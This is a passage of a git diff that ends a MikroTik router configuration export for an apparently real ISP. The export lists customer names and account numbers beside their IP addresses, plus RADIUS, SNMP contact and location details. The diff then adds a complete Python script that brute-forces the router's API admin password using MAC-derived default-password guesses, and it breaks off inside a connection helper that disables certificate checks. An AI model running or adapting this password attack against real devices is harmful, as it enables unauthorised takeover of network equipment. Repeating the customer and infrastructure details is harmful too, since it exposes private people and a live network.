add address=100.64.0.12 comment="Penney Warner (70)" list=\
|
||||||
|
ResidentialBasic6months
|
||||||
|
add address=100.64.0.40 comment="Chrissy Eagle (74)" list=\
|
||||||
|
ResidentialBasic6months
|
||||||
|
add address=100.64.0.41 comment="Keith Crank (209)" list=\
|
||||||
|
ResidentialBasic6months
|
||||||
|
add address=100.64.0.36 comment="Mary Hopper (245)" list=\
|
||||||
|
ResidentialBasic6months
|
||||||
|
add address=100.64.0.32 comment="Michael Talbot (262)" list=\
|
||||||
|
ResidentialBasic6months
|
||||||
|
add address=100.64.0.27 comment="Whitey White (303)" list=\
|
||||||
|
ResidentialBasic6months
|
||||||
|
add address=100.64.0.1 comment="Sherrye Richardson (321)" list=\
|
||||||
|
ResidentialBasic6months
|
||||||
|
add address=10.10.0.75 comment="Mary Hopper (245)" list=\
|
||||||
|
ResidentialBasic6months
|
||||||
|
add address=100.64.0.26 comment="Sri Reddy (514)" list=ResidentialCore
|
||||||
|
add address=204.110.188.225 comment="Graham McIntire (1)" list=Active
|
||||||
|
add address=204.110.188.230 comment="Kirk Vanmeter (216)" list=Active
|
||||||
|
add address=204.110.188.233 comment="Joey Whitfield (187)" list=Active
|
||||||
|
add address=204.110.188.229 comment="Vance Peltonen (356)" list=Active
|
||||||
|
add address=204.110.188.231 comment="James Hardin (1475)" list=Active
|
||||||
|
add address=100.64.0.53 comment="William Armstrong (362)" list=Active
|
||||||
|
add address=204.110.188.235 comment="Austin Watkins (769)" list=Active
|
||||||
|
add address=100.64.0.48 comment="Pablo Hernandez (2083)" list=Active
|
||||||
|
add address=204.110.188.237 comment="Ron Lewis (302)" list=Active
|
||||||
|
add address=100.64.0.8 comment="Alma Acosta (28)" list=Active
|
||||||
|
add address=100.64.0.41 comment="Keith Crank (209)" list=Active
|
||||||
|
add address=100.64.0.39 comment="Dana Nance (89)" list=Active
|
||||||
|
add address=100.64.0.36 comment="Mary Hopper (245)" list=Active
|
||||||
|
add address=100.64.0.32 comment="Michael Talbot (262)" list=Active
|
||||||
|
add address=100.64.0.31 comment="Scott Armstrong (315)" list=Active
|
||||||
|
add address=100.64.0.30 comment="Chand Parvathaneni (2396)" list=Active
|
||||||
|
add address=100.64.0.29 comment="Beverly Erwin (48)" list=Active
|
||||||
|
add address=100.64.0.28 comment="Mark Fisher (242)" list=Active
|
||||||
|
add address=100.64.0.20 comment="Pam Banschbach (383)" list=Active
|
||||||
|
add address=100.64.0.18 comment="Karen Stewart (2050)" list=Active
|
||||||
|
add address=100.64.0.17 comment="Nathan McTee (273)" list=Active
|
||||||
|
add address=100.64.0.16 comment="Doug Stowe (1807)" list=Active
|
||||||
|
add address=100.64.0.13 comment="CLAY GILBERT (1839)" list=Active
|
||||||
|
add address=100.64.0.12 comment="Penney Warner (70)" list=Active
|
||||||
|
add address=100.64.0.2 comment="JoleneDon Nance (118)" list=Active
|
||||||
|
add address=100.64.0.44 comment="Brad Sherry Slate (1334)" list=Active
|
||||||
|
add address=100.64.0.45 comment="Debra Vega (112)" list=Active
|
||||||
|
add address=100.64.0.47 comment="Eric Barrett (2386)" list=Active
|
||||||
|
add address=100.64.0.49 comment="David Lanman (2486)" list=Active
|
||||||
|
add address=100.64.0.26 comment="Sri Reddy (514)" list=Active
|
||||||
|
add address=100.64.0.50 comment="Steven Spurgers (1211)" list=Active
|
||||||
|
add address=100.64.0.37 comment="Rebekah Moore (386)" list=Active
|
||||||
|
add address=100.64.0.14 comment="Teresa Robinson (376)" list=Active
|
||||||
|
add address=100.64.0.69 comment="Yolanda Medrano (2461)" list=Active
|
||||||
|
add address=100.64.0.6 comment="Jennifer Little (1343)" list=Active
|
||||||
|
add address=100.64.0.5 comment="Amber Krings (1273)" list=Active
|
||||||
|
add address=100.64.0.4 comment="Cherie Eshelman (1153)" list=Active
|
||||||
|
add address=100.64.0.61 comment="Rachel Fuller (286)" list=Active
|
||||||
|
add address=100.64.0.25 comment="Maria Trejo (2284)" list=Active
|
||||||
|
add address=100.64.0.7 comment="Carla Kimberling (1959)" list=Active
|
||||||
|
add address=100.64.0.60 comment="Allen Taylor (26)" list=Active
|
||||||
|
add address=100.64.0.33 comment="Carmen Lopez (2409)" list=Active
|
||||||
|
add address=100.64.0.46 comment="Chrissy Eagle 2 (1530)" list=Active
|
||||||
|
add address=100.64.0.22 comment="Steve Christiaens (329)" list=Active
|
||||||
|
add address=100.64.0.1 comment="Sherrye Richardson (321)" list=Active
|
||||||
|
add address=100.64.0.51 comment="Kimberly Richards (1726)" list=Active
|
||||||
|
add address=100.64.0.21 comment="Jacqueline Wilder (892)" list=Active
|
||||||
|
add address=100.64.0.38 comment="Brad Wilson (1491)" list=Active
|
||||||
|
add address=100.64.0.3 comment="Derek Rodriguez (2402)" list=Active
|
||||||
|
add address=100.64.0.27 comment="Whitey White (303)" list=Active
|
||||||
|
add address=100.64.0.9 comment="Krysta Bates (218)" list=Active
|
||||||
|
add address=100.64.0.52 comment="Jonny Taylor (190)" list=Active
|
||||||
|
add address=100.64.0.40 comment="Chrissy Eagle (74)" list=Active
|
||||||
|
add address=204.110.188.236 comment="Deja Dodson (2320)" list=Active
|
||||||
|
add address=100.64.0.19 comment="TJ Banschbach (1676)" list=Active
|
||||||
|
add address=10.10.0.63 comment="Alicia Torres (1938)" list=Active
|
||||||
|
add address=10.10.0.6 comment="Pablo Hernandez (2083)" list=Active
|
||||||
|
add address=10.10.0.49 comment="Cherie Eshelman (1153)" list=Active
|
||||||
|
add address=10.10.0.59 comment="Teresa Robinson (376)" list=Active
|
||||||
|
add address=10.10.0.47 comment="Alma Acosta (28)" list=Active
|
||||||
|
add address=10.10.0.17 comment="Judy Devine (277)" list=Active
|
||||||
|
add address=10.10.0.75 comment="Mary Hopper (245)" list=Active
|
||||||
|
add address=10.10.0.54 comment="Jennifer Little (1343)" list=Active
|
||||||
|
add address=10.10.0.58 comment="Rebekah Moore (386)" list=Active
|
||||||
|
add address=10.10.0.70 comment="Vance Peltonen (356)" list=Active
|
||||||
|
add address=10.10.0.62 comment="Carla Kimberling (1959)" list=Active
|
||||||
|
add address=10.10.0.25 comment="Yolanda Medrano (2461)" list=Active
|
||||||
|
add address=10.10.0.15 comment="Maria Trejo (2284)" list=Active
|
||||||
|
add address=10.10.0.69 comment="Rachel Fuller (286)" list=Active
|
||||||
|
add address=10.10.0.73 comment="Carmen Lopez (2409)" list=Active
|
||||||
|
add address=10.10.0.68 comment="Amber Krings (1273)" list=Active
|
||||||
|
add address=10.10.0.24 comment="Scott Armstrong (315)" list=Active
|
||||||
|
add address=10.10.0.64 comment="Allen Taylor (26)" list=Active
|
||||||
|
add address=100.64.0.62 comment="James Hardin (1475)" list=Active
|
||||||
|
add address=100.64.0.34 comment="America Trejo (1693)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.34 comment="America Trejo (1693)" list=Active
|
||||||
|
add address=100.64.0.15 comment="Bill McTee (373)" list=Active
|
||||||
|
add address=100.64.0.35 comment="Judy Devine (277)" list=ResidentialBasic
|
||||||
|
add address=100.64.0.35 comment="Judy Devine (277)" list=Active
|
||||||
|
/ip firewall filter
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=ether3-climax-11ghz
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether3-climax-11ghz
|
||||||
|
add action=passthrough chain=unused-hs-chain comment=\
|
||||||
|
"place hotspot rules here" disabled=yes
|
||||||
|
add action=fasttrack-connection chain=forward comment=\
|
||||||
|
"fasttrack established/related" connection-state=established,related
|
||||||
|
add action=accept chain=forward comment="accept established/related" \
|
||||||
|
connection-state=established,related
|
||||||
|
add action=fasttrack-connection chain=forward connection-state=\
|
||||||
|
established,related
|
||||||
|
add action=fasttrack-connection chain=forward connection-state=new
|
||||||
|
/ip firewall nat
|
||||||
|
add action=passthrough chain=unused-hs-chain comment=\
|
||||||
|
"place hotspot rules here" disabled=yes
|
||||||
|
add action=masquerade chain=srcnat out-interface=vlan9_sfpplus1 src-address=\
|
||||||
|
100.64.0.0/22
|
||||||
|
/ip hotspot ip-binding
|
||||||
|
add address=10.250.1.146 type=bypassed
|
||||||
|
add mac-address=48:A9:8A:9D:9B:8A type=bypassed
|
||||||
|
add address=204.110.188.224/27 type=bypassed
|
||||||
|
add address=100.64.0.70 disabled=yes mac-address=5C:62:8B:10:0D:5F server=\
|
||||||
|
hotspot1 to-address=100.64.0.70 type=bypassed
|
||||||
|
add address=0.0.0.0/0 disabled=yes
|
||||||
|
add address=100.64.0.0/22
|
||||||
|
add address=204.110.188.0/22
|
||||||
|
add address=100.64.0.70 comment="test router" disabled=yes mac-address=\
|
||||||
|
5C:62:8B:10:0D:5F server=hotspot1 to-address=100.64.0.70 type=bypassed
|
||||||
|
add address=0.0.0.0/0 type=blocked
|
||||||
|
add address=204.110.191.0/27 comment="graham home /27" type=bypassed
|
||||||
|
/ip hotspot walled-garden
|
||||||
|
add dst-host=use1-tauc-mqtt-broker.tplinkcloud.com server=hotspot1
|
||||||
|
add dst-host=*tplinknbu.com server=hotspot1
|
||||||
|
add dst-host=*tplinkcloud.com server=hotspot1
|
||||||
|
add dst-host=*tp-link.com server=hotspot1
|
||||||
|
add dst-host=vntx.unmsapp.com server=hotspot1
|
||||||
|
add dst-port=123
|
||||||
|
add dst-port=8883
|
||||||
|
add comment="place hotspot rules here" disabled=yes
|
||||||
|
/ip hotspot walled-garden ip
|
||||||
|
add action=accept disabled=no dst-address=204.110.191.240 !dst-address-list \
|
||||||
|
!dst-port !protocol !src-address !src-address-list
|
||||||
|
add action=accept disabled=no dst-address=204.110.191.250 !dst-address-list \
|
||||||
|
!dst-port !protocol !src-address !src-address-list
|
||||||
|
add action=accept disabled=no !dst-address !dst-address-list dst-port=8883 \
|
||||||
|
protocol=tcp !src-address !src-address-list
|
||||||
|
/ip ipsec profile
|
||||||
|
set [ find default=yes ] dh-group=modp2048 dpd-interval=2m \
|
||||||
|
dpd-maximum-failures=5 enc-algorithm=aes-256,aes-128 hash-algorithm=\
|
||||||
|
sha256
|
||||||
|
/ip proxy
|
||||||
|
set port=23435
|
||||||
|
/ip proxy access
|
||||||
|
add src-address=204.110.188.0/22
|
||||||
|
add src-address=10.0.0.0/8
|
||||||
|
add src-address=100.64.0.0/10
|
||||||
|
add action=deny src-address=0.0.0.0/0
|
||||||
|
/ip route
|
||||||
|
add disabled=no dst-address=0.0.0.0/0 gateway=10.250.1.30
|
||||||
|
add disabled=no dst-address=10.43.0.0/16 gateway=204.110.191.1
|
||||||
|
add disabled=no dst-address=10.0.16.1/32 gateway=204.110.188.225
|
||||||
|
add disabled=no dst-address=10.0.16.10/32 gateway=204.110.188.225
|
||||||
|
add disabled=no dst-address=10.0.16.84/32 gateway=204.110.188.225
|
||||||
|
/ip service
|
||||||
|
set ftp address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set www address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set www-ssl address=204.110.188.0/22,10.0.0.0/8
|
||||||
|
set ssh address=204.110.188.0/22,10.0.0.0/8 port=1022
|
||||||
|
set winbox address=204.110.188.0/22,10.0.0.0/8
|
||||||
|
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
|
||||||
|
set api-ssl certificate=myCa
|
||||||
|
/ip ssh
|
||||||
|
set host-key-type=ed25519 password-authentication=yes strong-crypto=yes
|
||||||
|
/ipv6 dhcp-server
|
||||||
|
add interface=verona lease-time=10m name=server1 prefix-pool=\
|
||||||
|
verona-v6-pd-pool
|
||||||
|
/ipv6 nd
|
||||||
|
set [ find default=yes ] advertise-dns=yes
|
||||||
|
add advertise-dns=yes interface=verona managed-address-configuration=yes \
|
||||||
|
other-configuration=yes
|
||||||
|
/ipv6 nd prefix
|
||||||
|
add autonomous=no interface=verona
|
||||||
|
/mpls interface
|
||||||
|
add interface=ether3-climax-11ghz mpls-mtu=1508
|
||||||
|
/mpls ldp
|
||||||
|
add disabled=no lsr-id=10.254.254.101 transport-addresses=10.254.254.101 vrf=\
|
||||||
|
main
|
||||||
|
/mpls ldp interface
|
||||||
|
add interface=ether3-climax-11ghz
|
||||||
|
/ppp aaa
|
||||||
|
set interim-update=15m use-radius=yes
|
||||||
|
/radius
|
||||||
|
add address=204.110.191.248 require-message-auth=no service=ppp,hotspot,dhcp \
|
||||||
|
src-address=204.110.188.254 timeout=3s
|
||||||
|
add accounting-backup=yes address=104.238.144.172 disabled=yes \
|
||||||
|
require-message-auth=no service=ppp,hotspot,dhcp src-address=\
|
||||||
|
204.110.188.254 timeout=3s
|
||||||
|
add address=204.110.191.2 disabled=yes require-message-auth=no service=\
|
||||||
|
ppp,hotspot,dhcp src-address=204.110.188.254 timeout=3s
|
||||||
|
/radius incoming
|
||||||
|
set accept=yes
|
||||||
|
/routing bfd configuration
|
||||||
|
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
|
||||||
|
/routing filter rule
|
||||||
|
add chain=ospf-in disabled=no rule="accept;"
|
||||||
|
add chain=ospf-out disabled=no rule="accept;"
|
||||||
|
/routing ospf interface-template
|
||||||
|
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether3-climax-11ghz priority=1 type=ptp use-bfd=no
|
||||||
|
add area=backbone-v3 cost=10 disabled=no passive use-bfd=no
|
||||||
|
add area=backbone-v2 disabled=no passive
|
||||||
|
/routing ospf static-neighbor
|
||||||
|
add address=10.250.1.30%ether3-climax-11ghz area=backbone-v2 disabled=no \
|
||||||
|
poll-interval=10s
|
||||||
|
/snmp
|
||||||
|
set contact=graham@vntx.net enabled=yes location="33.246181, -96.426516"
|
||||||
|
/system clock
|
||||||
|
set time-zone-name=America/Chicago
|
||||||
|
/system identity
|
||||||
|
set name=Verona
|
||||||
|
/system logging
|
||||||
|
add action=remote topics=info
|
||||||
|
add disabled=yes topics=ospf
|
||||||
|
add action=disk prefix=gtemp topics=firewall
|
||||||
|
/system note
|
||||||
|
set show-at-login=no
|
||||||
|
/system ntp client
|
||||||
|
set enabled=yes
|
||||||
|
/system ntp client servers
|
||||||
|
add address=ntp.vntx.net
|
||||||
|
add address=0.us.pool.ntp.org
|
||||||
|
/system package update
|
||||||
|
set channel=long-term
|
||||||
|
/system routerboard settings
|
||||||
|
# Firmware upgraded successfully, please reboot for changes to take effect!
|
||||||
|
set auto-upgrade=yes enter-setup-on=delete-key
|
||||||
|
/system scheduler
|
||||||
|
add name=reboot on-event="/system reboot" policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
|
||||||
|
start-date=2025-02-16 start-time=03:00:00
|
||||||
|
/tool e-mail
|
||||||
|
set certificate-verification=no from=mikrotik@vntx.net server=10.0.0.250
|
||||||
|
/tool sniffer
|
||||||
|
set file-name=sniffer
|
||||||
329
mikrotik_comprehensive_attack.py
Normal file
329
mikrotik_comprehensive_attack.py
Normal file
|
|
@ -0,0 +1,329 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Comprehensive MikroTik Password Attack
|
||||||
|
Uses reliable API authentication testing with multiple algorithm variations
|
||||||
|
"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
import threading
|
||||||
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||||
|
import itertools
|
||||||
|
import random
|
||||||
|
|
||||||
|
class MikroTikAPIAttack:
|
||||||
|
def __init__(self, host, port=8728):
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.username = "admin"
|
||||||
|
self.found_password = None
|
||||||
|
self.attempts = 0
|
||||||
|
self.start_time = None
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.stop_flag = threading.Event()
|
||||||
|
|
||||||
|
def test_api_password(self, password, timeout=3):
|
||||||
|
"""Test password using MikroTik API - most reliable method"""
|
||||||
|
if self.stop_flag.is_set():
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
sock.connect((self.host, self.port))
|
||||||
|
|
||||||
|
def encode_length(length):
|
||||||
|
if length <= 0x7F:
|
||||||
|
return bytes([length])
|
||||||
|
elif length <= 0x3FFF:
|
||||||
|
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||||
|
else:
|
||||||
|
return bytes([0xFF])
|
||||||
|
|
||||||
|
def write_word(word):
|
||||||
|
word_bytes = word.encode('utf-8')
|
||||||
|
sock.send(encode_length(len(word_bytes)))
|
||||||
|
sock.send(word_bytes)
|
||||||
|
|
||||||
|
def write_sentence(words):
|
||||||
|
for word in words:
|
||||||
|
write_word(word)
|
||||||
|
write_word("")
|
||||||
|
|
||||||
|
def read_word():
|
||||||
|
try:
|
||||||
|
length_byte = sock.recv(1)
|
||||||
|
if not length_byte:
|
||||||
|
return ""
|
||||||
|
length = length_byte[0]
|
||||||
|
if length == 0:
|
||||||
|
return ""
|
||||||
|
if length & 0x80:
|
||||||
|
second_byte = sock.recv(1)
|
||||||
|
if not second_byte:
|
||||||
|
return ""
|
||||||
|
length = ((length & 0x7F) << 8) + second_byte[0]
|
||||||
|
|
||||||
|
if length > 500: # Sanity check
|
||||||
|
return ""
|
||||||
|
|
||||||
|
return sock.recv(length).decode('utf-8', 'ignore')
|
||||||
|
except:
|
||||||
|
return ""
|
||||||
|
|
||||||
|
def read_sentence():
|
||||||
|
sentence = []
|
||||||
|
while True:
|
||||||
|
word = read_word()
|
||||||
|
if word == "":
|
||||||
|
break
|
||||||
|
sentence.append(word)
|
||||||
|
return sentence
|
||||||
|
|
||||||
|
# Send login
|
||||||
|
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
|
||||||
|
|
||||||
|
# Read response
|
||||||
|
response = read_sentence()
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
# Success if we get "!done" without error
|
||||||
|
return response and response[0] == "!done"
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def test_password(self, password):
|
||||||
|
"""Test a password and handle progress reporting"""
|
||||||
|
if self.stop_flag.is_set():
|
||||||
|
return False
|
||||||
|
|
||||||
|
with self.lock:
|
||||||
|
self.attempts += 1
|
||||||
|
current_attempts = self.attempts
|
||||||
|
|
||||||
|
# Progress reporting
|
||||||
|
if current_attempts % 50 == 0:
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
rate = current_attempts / elapsed if elapsed > 0 else 0
|
||||||
|
print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
|
||||||
|
|
||||||
|
if self.test_api_password(password):
|
||||||
|
print(f"\n*** PASSWORD FOUND! ***")
|
||||||
|
print(f"Host: {self.host}")
|
||||||
|
print(f"Username: {self.username}")
|
||||||
|
print(f"Password: {password}")
|
||||||
|
print(f"Total attempts: {current_attempts}")
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
print(f"Time taken: {elapsed:.2f} seconds")
|
||||||
|
self.found_password = password
|
||||||
|
self.stop_flag.set()
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def generate_mac_algorithm_variations(mac_address):
|
||||||
|
"""Generate comprehensive MAC-based password variations"""
|
||||||
|
passwords = []
|
||||||
|
|
||||||
|
# Parse MAC
|
||||||
|
mac_clean = mac_address.upper().replace(':', '').replace('-', '')
|
||||||
|
if len(mac_clean) != 12:
|
||||||
|
return passwords
|
||||||
|
|
||||||
|
mac_bytes = [int(mac_clean[i:i+2], 16) for i in range(0, 12, 2)]
|
||||||
|
|
||||||
|
# Test different XOR constants (not just 0xD0)
|
||||||
|
xor_constants = [0xD0, 0xC0, 0xE0, 0xF0, 0x80, 0x90, 0xA0, 0xB0, 0x60, 0x70, 0x50, 0x40]
|
||||||
|
|
||||||
|
# Test different final constants (not just 0xFF)
|
||||||
|
final_constants = [0xFF, 0xFE, 0xFD, 0xFC, 0x00, 0x01, 0x02, 0x03, 0xAA, 0x55, 0xF0, 0x0F]
|
||||||
|
|
||||||
|
# Algorithm variations
|
||||||
|
for xor_const in xor_constants:
|
||||||
|
for final_const in final_constants:
|
||||||
|
# Standard algorithm: MAC[0]^XOR, MAC[1], ~MAC[2], FINAL
|
||||||
|
pwd_bytes = [
|
||||||
|
mac_bytes[0] ^ xor_const,
|
||||||
|
mac_bytes[1],
|
||||||
|
(~mac_bytes[2]) & 0xFF,
|
||||||
|
final_const
|
||||||
|
]
|
||||||
|
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
|
||||||
|
# Variation: Different MAC byte positions
|
||||||
|
for i in range(6):
|
||||||
|
for j in range(6):
|
||||||
|
for k in range(6):
|
||||||
|
if i != j and j != k and i != k: # Different positions
|
||||||
|
pwd_bytes = [
|
||||||
|
mac_bytes[i] ^ xor_const,
|
||||||
|
mac_bytes[j],
|
||||||
|
(~mac_bytes[k]) & 0xFF,
|
||||||
|
final_const
|
||||||
|
]
|
||||||
|
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
|
||||||
|
# Direct MAC usage patterns
|
||||||
|
for combo in itertools.permutations(mac_bytes[:4]):
|
||||||
|
hex_str = ''.join(f'{b:02x}' for b in combo)
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
|
||||||
|
# Last/First 4 bytes of MAC
|
||||||
|
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[2:6])
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[0:4])
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
|
||||||
|
return list(set(passwords)) # Remove duplicates
|
||||||
|
|
||||||
|
def generate_pattern_passwords():
|
||||||
|
"""Generate common password patterns"""
|
||||||
|
patterns = []
|
||||||
|
|
||||||
|
# Basic patterns
|
||||||
|
basic = [
|
||||||
|
"0000-0000", "1111-1111", "2222-2222", "ffff-ffff",
|
||||||
|
"aaaa-aaaa", "bbbb-bbbb", "cccc-cccc", "dddd-dddd",
|
||||||
|
"1234-5678", "8765-4321", "abcd-efab", "dead-beef",
|
||||||
|
"cafe-babe", "feed-face", "babe-face", "c0de-d00d",
|
||||||
|
]
|
||||||
|
patterns.extend(basic)
|
||||||
|
|
||||||
|
# Year-based (installation years)
|
||||||
|
for year in range(2010, 2025):
|
||||||
|
patterns.extend([
|
||||||
|
f"0000-{year:04x}",
|
||||||
|
f"{year:04x}-0000",
|
||||||
|
f"{year:04x}-{year:04x}",
|
||||||
|
f"1234-{year:04x}",
|
||||||
|
f"{year:04x}-1234",
|
||||||
|
])
|
||||||
|
|
||||||
|
# Sequential hex patterns
|
||||||
|
for i in range(0, 16):
|
||||||
|
hex_char = f"{i:x}"
|
||||||
|
patterns.extend([
|
||||||
|
f"{hex_char}{hex_char}{hex_char}{hex_char}-{hex_char}{hex_char}{hex_char}{hex_char}",
|
||||||
|
f"0000-{hex_char}{hex_char}{hex_char}{hex_char}",
|
||||||
|
f"{hex_char}{hex_char}{hex_char}{hex_char}-0000",
|
||||||
|
])
|
||||||
|
|
||||||
|
return patterns
|
||||||
|
|
||||||
|
def generate_incremental_around_base(base_password, range_size=2000):
|
||||||
|
"""Generate passwords around a base password"""
|
||||||
|
passwords = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Convert base password to integer
|
||||||
|
hex_str = base_password.replace('-', '')
|
||||||
|
base_int = int(hex_str, 16)
|
||||||
|
|
||||||
|
# Generate passwords around this value
|
||||||
|
for offset in range(-range_size//2, range_size//2 + 1):
|
||||||
|
new_val = base_int + offset
|
||||||
|
if 0 <= new_val <= 0xFFFFFFFF:
|
||||||
|
hex_str = f"{new_val:08x}"
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return passwords
|
||||||
|
|
||||||
|
def main():
|
||||||
|
import sys
|
||||||
|
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print("Usage: python3 mikrotik_comprehensive_attack.py <HOST> [MAC] [threads]")
|
||||||
|
print("Example: python3 mikrotik_comprehensive_attack.py 10.250.2.2 B8:69:F4:12:8E:F8 4")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
host = sys.argv[1]
|
||||||
|
mac_address = sys.argv[2] if len(sys.argv) > 2 else "B8:69:F4:12:8E:F8"
|
||||||
|
threads = int(sys.argv[3]) if len(sys.argv) > 3 else 4
|
||||||
|
|
||||||
|
print(f"Comprehensive MikroTik Password Attack")
|
||||||
|
print(f"Host: {host}")
|
||||||
|
print(f"MAC: {mac_address}")
|
||||||
|
print(f"Threads: {threads}")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
# Generate password candidates
|
||||||
|
print("Generating password candidates...")
|
||||||
|
|
||||||
|
mac_passwords = generate_mac_algorithm_variations(mac_address)
|
||||||
|
print(f"MAC-based algorithms: {len(mac_passwords)} passwords")
|
||||||
|
|
||||||
|
pattern_passwords = generate_pattern_passwords()
|
||||||
|
print(f"Common patterns: {len(pattern_passwords)} passwords")
|
||||||
|
|
||||||
|
# Generate incremental around the standard algorithm result
|
||||||
|
base_mac_clean = mac_address.upper().replace(':', '')
|
||||||
|
base_mac_bytes = [int(base_mac_clean[i:i+2], 16) for i in range(0, 12, 2)]
|
||||||
|
standard_result = f"{base_mac_bytes[0] ^ 0xD0:02x}{base_mac_bytes[1]:02x}{(~base_mac_bytes[2]) & 0xFF:02x}ff"
|
||||||
|
standard_formatted = f"{standard_result[:4]}-{standard_result[4:]}"
|
||||||
|
incremental_passwords = generate_incremental_around_base(standard_formatted, 1000)
|
||||||
|
print(f"Incremental around {standard_formatted}: {len(incremental_passwords)} passwords")
|
||||||
|
|
||||||
|
# Combine all passwords and remove duplicates
|
||||||
|
all_passwords = list(set(mac_passwords + pattern_passwords + incremental_passwords))
|
||||||
|
print(f"Total unique passwords: {len(all_passwords)}")
|
||||||
|
|
||||||
|
# Prioritize: MAC algorithms first, then patterns, then incremental
|
||||||
|
prioritized = mac_passwords + pattern_passwords + incremental_passwords
|
||||||
|
# Remove duplicates while preserving order
|
||||||
|
seen = set()
|
||||||
|
final_passwords = []
|
||||||
|
for pwd in prioritized:
|
||||||
|
if pwd not in seen:
|
||||||
|
seen.add(pwd)
|
||||||
|
final_passwords.append(pwd)
|
||||||
|
|
||||||
|
print(f"Testing {len(final_passwords)} passwords in priority order...")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Run attack
|
||||||
|
attacker = MikroTikAPIAttack(host)
|
||||||
|
attacker.start_time = time.time()
|
||||||
|
|
||||||
|
# Use ThreadPoolExecutor
|
||||||
|
with ThreadPoolExecutor(max_workers=threads) as executor:
|
||||||
|
future_to_password = {
|
||||||
|
executor.submit(attacker.test_password, pwd): pwd
|
||||||
|
for pwd in final_passwords
|
||||||
|
}
|
||||||
|
|
||||||
|
for future in as_completed(future_to_password):
|
||||||
|
if attacker.stop_flag.is_set():
|
||||||
|
# Cancel remaining tasks
|
||||||
|
for f in future_to_password:
|
||||||
|
f.cancel()
|
||||||
|
break
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = future.result()
|
||||||
|
if result:
|
||||||
|
print(f"\n✓ SUCCESS! Password found: {attacker.found_password}")
|
||||||
|
sys.exit(0)
|
||||||
|
except Exception as e:
|
||||||
|
password = future_to_password[future]
|
||||||
|
print(f"Error testing {password}: {e}")
|
||||||
|
|
||||||
|
if not attacker.found_password:
|
||||||
|
elapsed = time.time() - attacker.start_time
|
||||||
|
print(f"\nAttack completed without success.")
|
||||||
|
print(f"Total attempts: {attacker.attempts}")
|
||||||
|
print(f"Time taken: {elapsed:.2f} seconds")
|
||||||
|
print(f"Rate: {attacker.attempts/elapsed:.1f} passwords/second")
|
||||||
|
print("\nPassword not found in tested algorithms.")
|
||||||
|
print("Consider:")
|
||||||
|
print("1. Device may use different algorithm")
|
||||||
|
print("2. Custom password may be set")
|
||||||
|
print("3. Hardware reset if device is accessible")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
252
mikrotik_connect.py
Executable file
252
mikrotik_connect.py
Executable file
|
|
@ -0,0 +1,252 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import ssl
|
||||||
|
import socket
|
||||||
|
import hashlib
|
||||||
|
import binascii
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
|
||||||
|
class MikrotikAPI:
|
||||||
|
def __init__(self, host, username, password, port=8729):
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.username = username
|
||||||
|
self.password = password
|
||||||
|
self.sock = None
|
||||||
|
self.ssl_sock = None
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
"""Establish SSL connection to MikroTik router"""
|
||||||
|
try:
|
||||||
|
# Create socket and SSL context
|
||||||
|
context = ssl.create_default_context()
|
||||||
|
context.check_hostname = False
|
||||||
|
context.verify_mode = ssl.CERT_NONE
|
||||||
|
# Allow older SSL/TLS versions for compatibility
|
||||||
|
context.set_ciphers('DEFAULT:@SECLEVEL=0')
|
||||||
|
|
||||||
|
# Connect to router
|
